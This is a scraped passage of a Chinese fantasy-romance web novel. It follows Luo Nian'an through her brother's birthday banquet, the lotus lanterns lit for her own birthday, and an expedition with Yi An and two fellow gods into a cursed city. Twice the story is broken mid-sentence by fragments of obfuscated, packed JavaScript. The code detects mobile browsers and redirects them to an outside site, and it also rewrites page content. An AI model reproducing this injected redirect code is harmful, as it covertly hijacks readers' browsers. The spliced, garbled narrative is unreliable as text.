l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345174|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的牌，骂到最后道：“我看你就是故意针对我，气煞我也！” 洛念安笑了好一会儿，安慰他道：“没关系柳将军，现在换牌还来得及。” 柳渊一边摸牌一边道：“你说你现在还欠着一屁股债呢，我说借钱给你你又不愿意。就打麻将手气好一些，你还非要一个铜板一局，大的不玩，我看你这债是难还。” 洛念安心态好到爆炸：“慢慢还总是能还上的嘛。” 柳渊看着她那张破旧的供桌上摆放着的简易神位前的破盘子里装着的几个干瘪的馒头，默默叹了口气：“九筒！我现在胡五筒总行了吧。” 洛念安微微一笑，道：“不好意思，我胡了。” 柳渊：“……” 第二日，洛念安拒绝了和柳渊他们约麻将，背起装着龙吟的布袋准备出门。 “姐姐，你去哪？”易桉跟在她身后。 洛念安道：“我出去挣些钱，你不用跟着我了。你想吃什么吗？我赚了钱买回来。” 易桉的神色顷刻便暗了下来，他沉默片刻，道：“姐姐不用去，我有。” 洛念安微笑道：“我知道，但你的终究是你的，就算借了也总要还的，都是一样的。” “那姐姐准备去做什么呢？” 洛念安随手在小兔子面前放了几片白菜叶，直起腰道：“卖艺。”她伸出一根手指，笑着，神色间带了几分小小的骄傲，“我会耍枪，以前每每表演吞枪的时候总能收到许多打赏。” 易桉不说话了，他转过身，突然开始整理起供桌，把上面的供盘往左挪一个，又往右挪一个，挪来挪去又挪回了原位。他低声道：“我知道姐姐厉害，只是如此千次万次也不一定能凑齐八十八万。” 洛念安道：“我明白，但是积少成多嘛。” “姐姐不妨等等，总有机遇。” 洛念安能感觉到易桉十万八千个不乐意她去，虽不明白为什么，但也知道此法确实是事倍功半。既然他这样不乐意，便也想着要不今日就算了，等哪天自己偷偷去。于是洛念安放下布袋，道：“那好吧，就听你的。” 她话音刚落，耳边就响起柳渊的声音：“念将军啊，怕你不知道我好心提醒你一下啊，明日是你弟……呃，云祉殿下的生辰，记得回来哈。” 洛念安愣了愣，道了谢离开通灵阵，她问易桉：“今日是初几？” 易桉已经停止整理供桌并在一旁坐下了：“初七。” “九月初七？那明日就是九月初八？” “不出意外的话，是的。” “……”洛念安抱起正在吃菜叶的兔子，走到椅子旁坐下，陷入沉思。她沉浸式思考，易桉沉浸式看她，见她眉头越蹙越深，易桉问道：“姐姐在想什么？” 洛念安道：“你说若是送一男子生辰礼，该送些什么好呢？” “男子？”易桉挑眉：“哪个男子？” 洛念安垂眸摸着兔子，道：“我的弟弟。” 易桉望了她一会儿，道：“礼物这种东西，只要用心便够了，送什么也无所谓。” 洛念安沉默不语，半晌，才道：“他似乎什么也不缺，顶好的我又送不起……便宜的其实也送不起，真是难办。” 思来想去，洛念安出门花了几块铜板买来一块朱砂石，蹲在河边手动打磨，从烈日当空磨到夕阳西下，夜深人静时她伏在案上借着昏黄的烛光细细雕刻，被拒绝帮忙无数次的易桉坐在旁边托腮陪她。 “好了！”大功告成之时，洛念安狠狠吐出一口浊气，高兴地向易桉展示：“这块朱砂吊坠如何？” 易桉伸手接过，虽然过程中他已经看了无数次，此时他仍是细细看着，指腹抚过吊坠正面的山、水、花、草、帆船、艳阳，勾唇笑着：“很好，特别好。” 洛念安接过来，翻过面看着背后刻着的“云祉”二字，喃喃道：“他会喜欢吗？” “他喜不喜欢我不知道，反正我喜欢。”易桉笑了笑，又忽然站起身，出门去了。 等他再回来时，洛念安仍旧在看着那枚吊坠。易桉坐回原位，将手中的药瓶放在桌上，朝她伸出手。 洛念安愣了愣，把手里的吊坠放在他手心。易桉却将其搁置在一旁，隔着袖子轻轻握住洛念安的手腕，一手打开瓶盖，将里面的药一点点，小心翼翼地蘸在她手上红肿还有起水泡的地方，那只纤细修长的手上长着几处厚茧，他的手不经意间一一抚过。 洛念安僵住身子，暖黄色的烛光映在垂着眸认真擦药的易桉脸上，他是皱着眉的，长又浓密的睫毛投了一块扇形在眼下，她就这样看着，盯得出神，感受着手腕上透过衣服传过来的他身体的凉意。蓦地，对上了他带着笑意的眸子，洛念安仿佛做了坏事被抓包一般，心脏“咚”地猛跳了一下，慌忙移开视线，同时缩回手，快速道：“好凉，不是，好热啊，不是，我是说……” 听见对面传来的笑声，洛念安的理智瞬间回笼，一边苦恼自己方才到底在说些什么乱七八糟的，一边垂眸看着自己的手，红肿的地方已经涂上了药，不小心划破的伤口也缠上了纱布，她微微一笑，道：“我都没发现。” 易桉收好东西，望着她道：“姐姐费心费力做出来的礼物，谁都会喜欢的。” “真的吗？” “嗯，真的。” 12. 生辰夜现莲灯千盏 为庆贺洛霁禾生辰来的神神仙仙许多，大多都是送了贺礼就走了，也有少部分和他关系好的留下来吃宴。洛念安望着那堆成山的奇珍异宝出神，柳渊晃着扇子凑过来问她准备了什么好东西。 洛念安拿出一块帕子包着的吊坠给他看。 赫连昭原本在远处和其他神官寒暄着，不知道何时挪到他们身边的。 柳渊先是白了一眼赫连昭，才望了一眼帕子里的东西：“朱砂吊坠？” 洛念安有些难为情，她本以为洛霁禾生辰是他们一家人坐在一起吃个饭庆贺一下就可以了，没想到会是如此大的阵仗。这样一来，她的礼物真是寒碜的不能再寒碜了。她弱弱道：“嗯，我昨日做的。” “你自己做出来的？”柳渊睁大眼睛。 赫连昭突然出声：“你瞎了？没看见她手上的伤吗？还用问？” 洛念安点头，默默地小心收起东西。 柳渊没理他，由衷道：“这么厉害！” 洛念安有点尴尬：“我实在是送不起贵的东西。” 柳渊却道：“念将军，你这贺礼情义比千金重啊。想当初一位姑娘送了我一块自己绣的手帕，手上都是伤，给我感动的哟，泪眼汪汪的。” 赫连昭在一旁干呕。洛念安眼睛顿时亮了，问道：“真的吗？” “真的。”柳渊点头，又贼兮兮地笑着：“下次我生辰的时候你也做一块送我吧念将军。” 赫连昭翻白眼，“哼”了一声道：“你也配。” “嘿？！”柳渊觉得忍无可忍无需再忍了，转身对他，开始发动攻击：“我说你跟别人聊好好的非要凑过来恶心我干吗？” 赫连昭“切”了他一声，转身就走，走了两步又调头回来了。洛念安一看，是洛霁禾来了。 “长姐。”洛霁禾笑眯眯地跟她打招呼，他今日穿着打扮格外贵气，有些晃眼，衣服色调整体偏红，喜气洋洋的，“你回来给我庆生的吗？” 洛念安点头，微笑道：“生辰快乐。” “谢谢长姐。”洛霁禾已经走到她面前来，他一过来，就有一群神仙围了过来。 洛霁禾伸出手，道：“我的礼物呢？” 洛念安没想到他会这么直接，愣了一下，才掏出那块手帕，在众人的注视下打开，朱砂吊坠露出来的那一刻，周围顿时响起泄气声。众人议论纷纷的声音她都听到了，只是听得多了不太有所谓。 洛霁禾盯着那块吊坠看了一会儿，伸手接过，又左看右看，问道：“这是什么呀？” 洛念安答：“朱砂吊坠。是我自己做的，愿你永如艳阳当空，一路繁花似锦，一帆风顺。” 洛霁禾随手把吊坠递给跟在身后的仙侍，道：“谢谢长姐，只是我已经有许多吊坠了。” 洛念安微微一愣，众人的议论声再次响起，里面夹杂着笑声，她顿觉如芒在背尴尬不已。愣神之际洛君逸和念清漓来了。众神仙纷纷行礼，洛念安也弯腰行礼，只有洛霁禾一个人没有行礼，照直朝他们走去，唤道：“父君，母后，你们送儿臣什么生辰礼啊？” 洛念安弯下的腰僵住，听着念清漓用自己从未听过的语气和他说着话。等众人都直起身子，才缓缓地，立起来，望向他们，唤道：“父君，母后。” 念清漓在看见洛念安时面上顿时笑意全无，她上下打量了她一眼，不悦就算没有挂在脸上，也融进眼中。 洛念安怔了怔。 宴席前，她将洛念安唤至没人的角落，不悦道：“今日是你弟弟生辰，你怎的又穿的如此寒酸？成何体统！教人看了作何感想？” “……”洛念安嘴唇蠕动，半晌，也没说出一句话。 “真是没规矩！下次再如此着装就不要来见我。”念清漓扔下一句话，愤愤离开。 洛念安望着她离开的背影，心中一时酸苦辣咸搅作一团。 席上，洛念安坐在洛君逸手边的第一个位置，洛霁禾对面。又被洛君逸抓着叶蓉的事情训了一通。她早料到要挨训，倒也不觉得有什么。柳渊却凑过来安慰她：“念将军，别难过，待会带你去看莲灯。” 洛念安脱口反问：“什么莲灯？” 问完自己却是愣住了。每逢上神生辰之时，他们在人间的大信徒总会在神庙中点起莲灯，再一路捧到河边放入河中，这莲灯便会顺着河水飘进银河，银河就是位于上天界的那条。这莲灯千金难求，大小不同价值也不同，慢慢地也就成了各上神官之间暗戳戳攀比的工具。今年谁的莲灯多谁的莲灯大，总会成为众神的谈资，其中胜出者呢，就会觉得脸上有光，十分有面。因着莲灯千金难求，故而每一盏上面都会写着信徒的心愿，慢慢的人们也发现在莲灯上许的愿比平时灵验千百倍。 只是这样的待遇只有飞升的神官有才对。 柳渊道：“今日云祉殿下生辰，肯定会有莲灯啊。” 洛念安问：“他飞升了？” 柳渊摇头：“还没有，不过他和帝君帝后一齐供在君逸庙中。” “……”洛念安夹菜的手一顿，缩回来，看着对面念清漓给洛霁禾布菜，有些出神。 她本来不难受的，被柳渊这么一安慰，倒是难受起来了。 洛念安原本要走，却被念清漓喊着一起去看灯。她和一众神仙望着波光凌凌的河面上缓缓飘来的莲灯，愣神。 “今年云祉殿下有三百一十一盏灯呢，比去年多了许多。” 被这声音拉回来，洛念安望着从面前飘过又飘至远方的莲灯，露出了自己都没有发觉的羡慕神色。 “你要努力，快快飞升知道吗？” “母后，儿臣还小呢。长姐不也才六百岁才飞升。” “她和你又不一样。” 洛念安转身欲走，却被念清漓喊住：“你要去哪？” “儿臣……” “整日不着家，成何体统？” “……” 洛念安被迫留在天界，时隔五百年再次跨入珈洛殿，殿前的花花草草还是那样茂盛，只是有些过头了，连路都看不清。殿中的玉案、屏风、床榻没有一处不落着厚厚的灰。她随手擦拭了一下，和衣躺在有人界那半间小破屋大的榻上，却觉得如何都别扭，还没有那张小小的床舒服。 不知道易桉怎么样了，她没回去，会不会担心她。 洛念安翻了个身，心道：“平白无故地，担心我做什么？真是想太多。” 她这样想着，很快进入梦乡，只是睡得不太踏实。翌日早晨，洛念安去给念清漓请了早安，见她没有其他表示便离了清漓殿。中午，她到柳渊殿中去蹭了顿饭。下午，柳渊出任务去了，她在天界溜溜达达，转到锦和殿中询问近来有无任务需要处理，得知任务都被各自的神殿领了去，便作罢，又出门开始瞎转悠。天界景色美甚，多年未见，倒还有些不习惯了。洛念安盯着面前这颗参天仙树，心中却觉得没有自家门前那颗歪歪扭扭的白玉兰树好看。路上，她碰见了白锦，白锦看见她莫名停了下来，微微颔首：“殿下。” “仙君好。”洛念安回以微笑：“仙君这是去？” “出任务。”白锦回。 洛念安点头：“祝仙君一切顺利。” 白锦颔首，道：“也祝殿下生辰快乐。” 洛念安愣在原地，直到白锦离开许久她才回神，对着虚无笑了笑，低声道：“谢谢。” 柳渊又喊洛念安去吃晚饭了，天色渐暗，席间，柳渊忽然道：“阵中说银河上有莲灯。” 洛念安愣了愣，道：“哪个阵？” “天界的通灵阵啊，你没收到消息吗？” 洛念安这才想起那个被她开了静音的通灵阵，她尴尬笑笑，道：“我屏蔽了。” 柳渊站起身，道：“我们也去看看吧，看看是谁的莲灯。” 洛念安便跟着他来到银河边。他们来时，河岸边已经集了许多人了。 莲灯闪着金光出现在银河尽头，缓缓地，朝着这边漂来，一眼竟望不到边。 众人议论纷纷。 “今日不是重九节吗？是谁的生辰？” “不知道啊，没听说是谁的啊。” 洛念安也跟着好奇，谁的生辰是和她同一天的，就问柳渊：“今日是谁的生辰？” 柳渊晃着扇子：“我怎么会知道？等那莲灯飘过来看看就知道了，上面会写名号的。” 于是众人翘首以待，注视着那金光缓缓而至。为首的那盏莲灯巨大无比，精美绝伦，每一片花瓣都闪烁着金光，绚丽夺目。 在一众惊叹声中，柳渊道：“还是第一次见如此大的莲灯，我都能躺在上面睡觉了。” 赫连昭突然从他背后出声：“真是没见识。” 柳渊呛他：“你见过？” 赫连昭道：“没见过。” “……”真是有病。柳渊白了他一眼，继续回过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完，她又突然转身，众人为她让开一条道，她便不顾形象地跑着，实际上她在众神心中也没什么形象可言。她一路跑着，跑出天门，毫不犹豫地跳了下去。落地在自家小院中，屋里亮着昏黄的灯光，洛念安心下一颤，奔上前去，伸手推开了那道破门。 易桉正坐在灶台边的木桌旁，面含笑意看着推门而入的洛念安，仿佛一早就知道她会出现。他站起身道：“姐姐，你回来了。” 洛念安先是望他的，又垂眸看了一眼桌上的烧鸡、小炒肉、排骨汤，再次望向易桉，笑道：“一个人吃这么丰盛？” 易桉道：“没有，在等姐姐一起。” 洛念安反手关了门，问道：“你怎知我要回来？” “猜的。”易桉摆着碗筷，抬头望着洛念安：“说明我与姐姐，心有灵犀。” 洛念安坐在位上，垂着眸，无声笑着。 席间，易桉推了一个精致的木盒入了洛念安眼帘，她抬眸，对上他的视线，听他道：“送姐姐一个礼物。” 洛念安扬眉，放下手中的筷子，双手捧起那木盒，打开，见到木盒中间卡着一枚晶莹剔透的指环，如玉一般，又比玉更亮更通透，倒像是水晶。她不假思索地将那枚指环戴在自己的左手中指上，举起手，借着烛光细细看着。 易桉神情一滞，又勾起一抹似有若无的笑意。 竟这样合适。洛念安兴奋道：“谢谢，我很喜欢。不过它看起来不便宜呢。” 易桉笑着，夹了一筷子菜，漫不经心道：“不值钱，我自己做的。” “你做的吗？”洛念安眼睛更亮了：“那确实是不能用金钱来衡量了。谢谢你，我很喜欢。” 她又说了一次。 接着道：“我会好好珍惜的。” 见她心情如此之好，易桉的心情也跟着好起来。这间小屋的情绪似乎高涨了不少，洛念安一反常态地絮絮叨叨着，跟他讲昨日洛霁禾生辰的盛况，讲天界的景色特别好要带他去看，又讲有一颗真正的参天大树，只是她总觉得还没有他们院中的那颗歪七扭八的白玉兰树好。她讲了许多，唯独没有讲今晚那独属于她的九千九百九十九盏莲花灯。 “姐姐羡慕他吗？”易桉突然问。 洛念安一愣：“谁？”问完她反应过来了，笑着道，“本来是有一些的，不过现在不了。” 易桉跟着她笑，没再继续问下去，只是给洛念安盛了一碗排骨汤放在她面前，轻声道：“凉了再喝。” 13. 傀儡出道往山茶郡 洛念安睡在了自己的那张小床上。 易桉仍旧睡在那个地方，只是铺的稻草更厚了些，也有了自己的枕头被子。洛念安提议过很多次给他也打一个小床，都被他拒绝了。说自己没有那么讲究，有个睡觉的地方就行。 入梦时，她仿佛听见有人对她说“生辰快乐”，她想张口说“谢谢”，但奈何困意太浓，张不开嘴了。 第二日，洛念安沐浴完打开门，易桉坐在白玉兰树下的阴影中，嘴里叼着一朵落花，架着二郎腿等她。 洛念安以法力挪动浴桶倒了水，又把它挪到阳光下晒着。说起来，这浴桶也是易桉打造的。她出来时头发已经被法力烘干了，正边往出走边束着发。水汽浸透洛念安的面庞，从里到外透着红晕，唇色也红，娇艳欲滴。 易桉回头看了她一眼，口中花顷刻飘落，喉结滚动。 这时，院里忽然跑进来一个身着破烂黑白道袍的道人。蓬头垢面，脚步虚浮。跟着他一起跑进来的是村里的村民。 易桉瞬间起身拦在洛念安身前，高量的身形将她堵了个严严实实。洛念安便借此回去整理好自己，等再出来，院中已经站了一大堆人，正七嘴八舌地说着什么。她一出来，村长就对那道人说：“你跟大仙说，她是大仙。” 洛念安：“……” 易桉立在那里，那道人不知因何原因不肯靠近。只探出个头，看向洛念安，问道：“你就是这玉兰观的观主？” “玉兰观”是洛念安给这里起的名字，前几日才挂了块牌子在院门上。 洛念安笑笑，道：“应该是。”她走到易桉身边，问道，“这位道长到此处来，所为何事？” 那道人重重叹出一口气，然后瘫坐在地上，仿佛紧绷的弦在这一刻终于放松下来，道：“可算是逃出来了，可算逃出来了！” 此话一出，众人顿时东张西望，议论纷纷。 洛念安扫了人群一眼，垂下眸，欲伸手将人扶起。却被易桉抢先一步，一下就将人提了起来。 那道人“诶？”了一声，便站在那了。 洛念安不好意思地笑笑，侧过身子，道：“道长，里面细说吧。”她遣散众人，然后进了屋子，关上门。 道人坐在供桌边，易桉坐在供桌的另一边，支着腿，手托着腮，正一瞬不瞬地盯着他。 洛念安倒了碗水放在道人身边，道：“道长口渴了吧，喝点水吧。” 那道人却是没有看那碗水，直直望着洛念安，道：“黄泉路，不归川。” “不归川？”那是镇压着女魔颜无双神识的地方，洛念安六百年前误入过那里。 易桉看过来，道：“姐姐，他说的同你想的可能并非一个地方。” 洛念安正了神色，看向道人：“烦请细说。” “距离这里百余里的地方，有一座城，人称不归川，这个名字的起源确实是来自传说中的那个不归川。这座城之所以被叫这个名字，是因为凡是误入的人，都出不来了！” 洛念安扬眉，道：“出不来了？” “是啊！” “那为何还要进去？” “就是因为那条黄泉路！通常人们经过那里是会绕道走的，但是那座城周围十分诡异，可能走着走着就会误入黄泉路，明明不是那个方向，但不知不觉就会走进不归川。” 洛念安与易桉对视一眼，又问道：“道长是从那里逃出来的？” “是啊！太吓人了！” “可是你不是说，进去了，就出不来了吗？” 道人立马道：“我察觉自己可能入了黄泉路，便想方设法逃出来了。” “那黄泉路上有何异象呢？” “倒是没什么异象，否则不可能那么多人都不知不觉。” 洛念安轻轻笑了笑，垂下眸子，片刻后又抬起来，不继续问了，只是道：“道长，跑了如此远的距离，渴了吧？喝些水，歇歇吧。” 那道人却依旧没有看那碗水，只是道：“黄泉路，不归川。” 洛念安抬手，腰间的血光蹿出，一鞭子打在那道人身上，那里哪还有什么道人，只有飘飘然，落在地上的一张黄色人形纸。她站起来，走过去拾起那张人形纸，在手上捻了捻，喃喃道：“傀儡人。” 身后的易桉轻笑出声，歪着脑袋道：“有意思。看来这幕后操控者已经猜到姐姐会问些什么了。” 洛念安垂眸看着手中的黄纸，低声道：“是啊。” 高级的傀儡人外形逼真，几乎挑不出错，且口齿清晰，看着与常人无异。但无论如何，只能根据操控者的设定好的内容讲话。这傀儡人对洛念安的问题对答如流，说明那幕后操控人几乎完美预料到了她要问的问题，也就是说，很了解她这个人。这其实是一件很可怕的事情。 她抬眼看向易桉，微微一笑，道：“看来，有人想要我去这个地方了。” 洛念安和锦和通灵，询问了关于“黄泉路，不归川”的事情，却得到了“最好不要管”的回复。 退出通灵阵，易桉问她：“怎么样？姐姐。” 洛念安摇摇头，道：“没消息。” 易桉笑道：“我倒是知道一些，不如姐姐听听，有没有用？” 洛念安走过去坐下，道：“愿闻其详。” 易桉换了条腿支着，胳膊随意搭在膝盖上，道：“这‘不归川’原是四百年前安乐国的一座小城，名为山茶郡。” “安乐国的山茶郡吗？我倒是去过，那里的茶远近闻名，城里居民多以种茶、采茶、贩茶为生。” 易桉笑了笑：“姐姐竟去过吗？那姐姐应该知道，那个地方后来起了疫病。” 洛念安点点头，道：“我去时并没有开始起疫病的，当时只是恰巧路过，进去转了转。待到第二次要去，便听闻封了城，不让进了。” 易桉道：“没错，那时的安乐国主，也是如今天界的武神之一方常远下令封城。” “那后来呢？” “他只是封了城，没其他动作，于是山茶郡里的得了病没得病的人都想方设法逃出城求一条生路，也就导致了周围的城郡都起了疫病。后来，他就下了令，屠了城。” 洛念安微微睁大眼睛，但也还算淡定：“屠城？” 易桉点头，继续道：“不止山茶郡，周围几个被殃及的城池，该屠的不该屠的都屠了。” 洛念安沉默下来。 “后来方常远退了位，只身前往当时已是一座死城的山茶郡，自刎了。” 洛念安微微蹙眉：“以死谢罪？” 易桉摊手，道：“应该是吧，不过在他濒死之际，天降雷劫，他就这样飞升了。” “……”洛念安一时也不知该摆出何种表情了，顿了顿，她道：“他当时没有派人前来治病救灾吗？” 易桉答：“谁又知道他当时在做什么。” 小屋陷入了沉默中，只是很短暂，因为没一会儿柳渊就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345176|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推着门进来了，后面跟着赫连昭。 洛念安站起身，同时露出微笑道：“二位，今日可能没时间打麻将了。” 她话音一落，易桉的声音就响起来：“你们怎么又来了？” 赫连昭道：“你怎么老在这？你自己没家吗？” 易桉摊手：“没有。” 柳渊收起扇子举到赫连昭面前，示意他闭嘴，然后才道：“听锦和说你向他打听‘黄泉路，不归川’的事儿，我猜你肯定要去，就下来了。” 洛念安微笑着：“易将军怎知我要去？” 柳渊以扇子拍了拍她的肩膀，露出了个自以为很迷人的笑，道：“毕竟是生死之交，我自然懂你的啦。” “谁跟你生死之交？！”赫连昭莫名其妙一点就炸：“你们是敌人！敌人懂吗？！” 柳渊瞥他一眼，道：“你懂什么？适逢对手，旗鼓相当，我十分欣赏念将军，就乐意和她做朋友不行吗？” 赫连昭不甘示弱地白他一眼：“差了十万八千里，还好意思说旗鼓相当。” 柳渊道：“你比我确实是差了十万八千里。” “你！” “二位，暂且停一停。”洛念安不太适时地开口劝架，强硬地转了个话题：“二位是来提供一些消息的还是？” 柳渊扇子一展，道：“我和你一起去，他，我不知道。” 赫连昭梗着脖子不说话，但洛念安却是明白他的意思了。 她道：“可是锦和真君的意思仿佛是不想让我管这件事，况且似乎还牵扯到一位武神将军。我一个人去还好说，若是我们三个一起，万一有什么事情，我怕连累到二位将军。” “无妨，”柳渊晃着扇子，挑着眉，道：“我们都是分身下来的，不碍事的，只要不说就没人知道。” 洛念安愣了一下，笑了笑：“那就多谢两位相助了。”她简单收拾了一下，背上麻袋，道，“那我们出发吧。” “先不急。”柳渊忽然从袖子里掏出一个不大不小的锦盒放在灶台边的木桌上，赫连昭也掏了一个，落在柳渊的上面。 柳渊白了他一眼，才道：“补你的生辰礼，虽然有点晚了，但还是祝你昨日生辰快乐。” 赫连昭也要死不活地道了一句：“生辰快乐。” 柳渊给他肩膀一扇子，口吻略带指责道：“你怎地连念将军生辰在哪一日都不知道？” 赫连昭捂着肩膀，反驳道：“她从来没提过，我去哪知道？” “你不能问问？长嘴是干吗的？” “问了又不说！” 洛念安又开始打圆场：“真是多谢二位了。” 柳渊无不羡慕道：“念将军昨日可是被供奉了近万盏莲灯，可谓前无古人后无来者，现在上天界还津津乐道着，真是风光无限呐。” 闻言，洛念安下意识扭头看向易桉。易桉也正看着她，冲她眨了眨眼。 柳渊将他们的互动尽收眼底，问了句：“他不会也要去吧？” 易桉道：“你有意见？” 柳渊道：“不是我说，这次可跟上次不一样，你去完全是拖后腿，没人顾得上你。” 易桉哼笑一声，道：“也不知道到时候拖后腿的是谁。”说完他看向洛念安，眨巴着眼，“姐姐，带我去吧。” 洛念安闻声，立马道：“我顾得上，一起去吧。” 柳渊翻了个白眼，在一旁作呕吐状，嘀咕了句：“死绿茶。” 14. 入地道身陷毒蛇窝 这边三人嘻嘻哈哈，那边赫连昭埋头结印起阵。嘻嘻哈哈完，几人也到了一处荒郊野岭。 洛念安疑惑：“这是哪？” 赫连昭道：“这条路一直往前走，就是那小不归川的方向。” “小不归川？”洛念安又道：“为何不直接到那山茶郡的门口？” 赫连昭道：“先踏黄泉路，再入不归川。若是直接到门口，进去只是死城一座，看不见其他的。” 洛念安点点头，道：“你似乎知道不少。” 赫连昭看了她一眼：“之前调查过，他们忌惮方常远，我可不怕。只是后来事情太多，先搁置了。” 易桉在后面道：“搁置了几百年。” 赫连昭：“……” 柳渊破天荒为他说了一次话：“说实话，这件事情我们真不太好插手。念将军就不一样了，身份地位摆在那，就算最后真查出来什么，也没人敢怪她的。” 洛念安在一旁连连摆手。 柳渊看向她道：“念将军，法力收一收，你这样我们根本不会踏上黄泉路。” “啊？”洛念安愣了愣：“我身上法力很强盛吗？” 柳渊道：“你周身都冒金光了。” 洛念安这才收了法力，微笑道：“不好意思，突然有这么多法力不太习惯。” 易桉在一旁轻笑出声，惹得洛念安看了他一眼。 几人走着走着，四周突然起了风，风很小，但很凉。周身的景象并未发生怎样的变化，但赫连昭却道：“我们已经踏上黄泉路了。” 闻言，洛念安将腰间血光抽出，手柄一侧递给易桉，低声道：“握紧，要小心。” 易桉微微一怔，嘴角勾起笑意，伸手握住了血光。 血光在洛念安腰间扭来扭去，似乎不大乐意。她伸手抚了抚，便安静下来。 黄泉路似乎无穷无尽，走了许久，周遭忽的白雾四起。洛念安凝神，才发现他们已经入了城。这城内阴气森森，似乎被什么东西笼罩着，充斥着，几乎目不能视。好在几人视物能力极佳，洛念安扭头对易桉道：“跟紧我。”又从袖中掏出一块干净的素白手帕递给他，“这里的空气似乎有毒，你捂着口鼻。” 易桉顿了顿，才接住那块手帕，垂着眸盯着看了好一会儿，才捂上自己的口鼻。 好香。 他捂了一会儿，不知为何又拿了下来，将手帕紧紧攥在手上，呼吸莫名粗重了几分。 洛念安停下脚步，扭头看他，皱了皱眉，神色有些担忧，道：“你不会中毒了吧？” 她欲伸手摸摸易桉的额头，却被他头一偏，躲了过去。 洛念安的手僵在半空中，又放下，道：“抱歉，是我唐突了。” “不是，”易桉吞咽一下，道：“我……我没事。” 洛念安点点头：“没事就好。” 柳渊在前面走的好好的，突然掉了几滴东西在脸上，他疑惑伸手抹了一把，定睛一看，登时哀叫起来：“啊！卧槽！这是什么恶心的东西？！” 赫连昭蹙眉：“你鬼叫什么？” 柳渊把自己手上黏黏糊糊的绿色东西举到赫连昭面前，惊得他连连后退，边退边嫌弃：“好恶心，快拿开。”顺便幸灾乐祸道，“叫你平时品行不端，遭报复了吧。” 他话音一落，同样的几滴东西就落在了他脸上。 “……” 耳边响起柳渊如雷鸣般的嘲笑声。 与此同时，那东西更多地滴了下来，像落雨一般。 洛念安反应很快，抽出背上的麻袋里的油纸伞撑开，遮住了她和易桉两人。那是一把破旧发黄的油纸伞，伞面上有一朵显眼的红色小花，只是经过时间的洗礼，没那么鲜艳了。这伞面破了一个洞，有几处已经卷边。洛念安默默将洞口转向自己这一边，却被易桉握住伞柄，伞不仅举的更高了，破洞也被转到了他那侧。 几人就近进了一处带顶的房屋暂避。柳渊和赫连昭施法净了身，才狠狠呼出一口气。洛念安接过收起的伞，抖了抖，发现那些黏糊糊的绿水抖不干净，便也施了法，净了伞面，又好好地放入背后的麻袋。 洛念安立在破窗边往外看，易桉倚在窗边看她，柳渊则绕着这间屋子转了一圈。 “这屋子被大火烧过啊。”柳渊晃着扇子。 赫连昭：“长了眼睛的都看得出来。” 洛念安转身，道：“是啊，不止这间屋子，这座城都经历了一场大火，到处都是断壁残垣。” 窗外的怪雨没有要停的趋势。 洛念安便也开始绕着屋子转了起来，转着转着，她忽然停了下来，往后退了一步，蹲下身子，伸手敲了敲前面的地面。 空的。 几人相互对视一眼。当然，这举动易桉没有参与。 洛念安摸索一番，掀开了一块木板，下面有台阶，通往黑暗。她想也不想，抬腿就要往下走。易桉却轻轻握住了她的小臂，制止了她的动作，又对着柳渊道：“你先。” “......？”柳渊骂骂咧咧地下去了。 赫连昭紧跟着，洛念安才被放下去，易桉跟在她身后。她又把血光递给他，嘱咐他要小心。 地道很窄，仅容一人通过。也很长，尚不知终点是何处，只是走着走着，越来越宽了，几人在一处岔路口前停住，看着前面的两处分叉，柳渊扭头问道：“分头行动？” 洛念安刚要答应，就听见赫连昭道：“别，尚不知这里有什么东西，贸然分开恐怕不妥。” 洛念安又觉得有理，于是道：“要不先去左边看看？” 柳渊带头往左边走了。又是走了许久，前面的路却被堵住了，柳渊伸手摸了摸，道：“应该是被一块巨石堵死了，看来这条路没什么东西。” “那为何会挖这条道呢？”洛念安道：“它出现，总有出现的道理吧。”她虽心有疑问，但在这地下，又不好贸然把前面的石头炸开。 易桉道：“也许是通往城外，被发现了，就堵死了。” 洛念安摸着下巴，道：“有理。” 柳渊道：“原路返回吧，不是还有一条道嘛。” 于是四人齐齐原地转身，往回返了。 回来的路程似乎短了，他们从这条岔口出来，又从另一条岔口进去。 走着走着，也是越来越宽，越来越宽。柳渊停了下来，道：“这地方怎么这么黑？” 掌心焰能照亮的范围竟然越来越小了。 起先只需要赫连昭一人托着掌心焰，现在他们三人一人托起一团。 “这地方似乎很大。”洛念安原地小范围走了一圈，观察了一番，道：“像一个……” “岔路中心。”易桉接道。 洛念安转身看向他：“对，现在四周有八个岔口。”她又转过身，更大范围地走了一圈，脚下忽然踢到了什么东西，她弯腰，托着掌心焰凑过去看，发现是一条被啃食地血肉模糊的断臂，不远处还有几颗沾着血的头骨。 “……”洛念安淡定地直起腰，道：“我想我们现下应该快些原路返回。” 她话音刚落，四周的岔道里忽然传出一阵阵奇奇怪怪的声音，像是有许多东西在同时爬行。 洛念安神色一凛，退回至原处，挨着易桉。那两人也退回来了，熄了掌心焰，四人围在一起，面对着四周。 “什么鬼动静？！”柳渊问道。 洛念安一手握着易桉的手腕，一手抓着血光，屏息凝神，侧耳细听，道：“不知，但很多。” 声音越来越近，赫连昭一团掌心焰打在头顶，靠近的东西也映入眼帘——是一群长着獠齿，通体漆黑，眼睛血红的毒蛇。 数量之多，放眼望去尽是漆黑一片， 